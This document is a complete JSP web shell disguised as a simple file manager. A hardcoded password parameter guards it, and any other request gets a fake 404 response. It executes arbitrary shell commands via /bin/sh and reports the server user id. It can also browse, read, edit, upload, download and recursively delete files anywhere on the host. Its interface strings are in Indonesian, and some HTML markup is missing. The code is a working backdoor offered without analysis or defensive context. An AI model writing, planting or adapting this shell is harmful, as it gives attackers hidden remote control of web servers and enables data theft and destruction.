<%@ page import="java.io.*,java.util.*,java.nio.file.*,java.nio.charset.StandardCharsets,java.util.stream.*" %><%! static String h(String s){return s==null?"":s.replace("&","&").replace("<","<").replace(">",">").replace("\"",""");} static String sz(long n){String[] u={"B","K","M","G"};int i=0;double d=n;while(d>=1024&&i<3){d/=1024;i++;}return String.format("%.1f%s",d,u[i]);} static String run(String c)throws Exception{Process p=new ProcessBuilder("/bin/sh","-c",c).redirectErrorStream(true).start();BufferedReader r=new BufferedReader(new InputStreamReader(p.getInputStream()));StringBuilder b=new StringBuilder();String l;while((l=r.readLine())!=null)b.append(l).append("\n");p.waitFor();return b.toString();} %><% String KEY="hermes"; if(!KEY.equals(request.getParameter("k"))){response.setStatus(404);return;} String p=request.getParameter("p"); if(p==null||p.trim().isEmpty())p=application.getRealPath("/"); String a=request.getParameter("a"); if(a==null)a="list"; String msg=""; File dir=new File(p); if("save".equals(a)){try{Files.write(new File(p).toPath(),request.getParameter("t").getBytes(StandardCharsets.UTF_8));msg="saved";}catch(Exception e){msg="ERR "+e;}a="edit";} else if("del".equals(a)){try{Path q=new File(p).toPath();if(Files.isDirectory(q)){List l=Files.walk(q).sorted(Comparator.reverseOrder()).collect(Collectors.toList());for(Path x:l)Files.delete(x);}else Files.delete(q);msg="deleted";}catch(Exception e){msg="ERR "+e;}dir=(dir.getParentFile()!=null?dir.getParentFile():dir);p=dir.getPath();a="list";} else if("mkdir".equals(a)){try{Files.createDirectories(new File(dir,request.getParameter("n")).toPath());msg="created";}catch(Exception e){msg="ERR "+e;}a="list";} else if("up".equals(a)){try{byte[] d=Base64.getMimeDecoder().decode(request.getParameter("b64"));Files.write(new File(dir,request.getParameter("n")).toPath(),d);msg="uploaded "+d.length+"B";}catch(Exception e){msg="ERR "+e;}a="list";} else if("down".equals(a)){try{File f=new File(p);response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");response.setContentType("application/octet-stream");Files.copy(f.toPath(),response.getOutputStream());return;}catch(Exception e){msg="ERR "+e;a="list";}} String cmdout=null;String c=request.getParameter("c"); if(c!=null){try{cmdout=run(c);}catch(Exception e){cmdout="ERR "+e;}} String K="&k="+KEY; %>fm file manager | uid=<%=h(run("id"))%>
<%if(!msg.isEmpty()){%>
"><%=h(msg)%>
<%}%> <%if("edit".equals(a)){String txt="";try{txt=new String(Files.readAllBytes(new File(p).toPath()),StandardCharsets.UTF_8);}catch(Exception e){txt="ERR "+e;}%>
<%=h(p)%>
<%}else{%>
dir: <%=h(dir.getAbsolutePath())%> ">[ .. ] ">[ refresh ]
<%File[] fs=dir.listFiles(); if(fs==null){%><%}else{Arrays.sort(fs,Comparator.comparing((File f)->!f.isDirectory()).thenComparing(f->f.getName().toLowerCase()));for(File f:fs){String nm=f.getName();String u=java.net.URLEncoder.encode(f.getAbsolutePath(),"UTF-8");%> <%}}%>
tidak bisa baca dir
<%=f.isDirectory()?"[D]":"[F]"%> <%=h(nm)%> <%=f.isDirectory()?"-":sz(f.length())%><%=new java.util.Date(f.lastModified())%> edit | get | ?')">hapus
<%}%>
<%if(cmdout!=null){%>
<%=h(cmdout)%>
<%}%>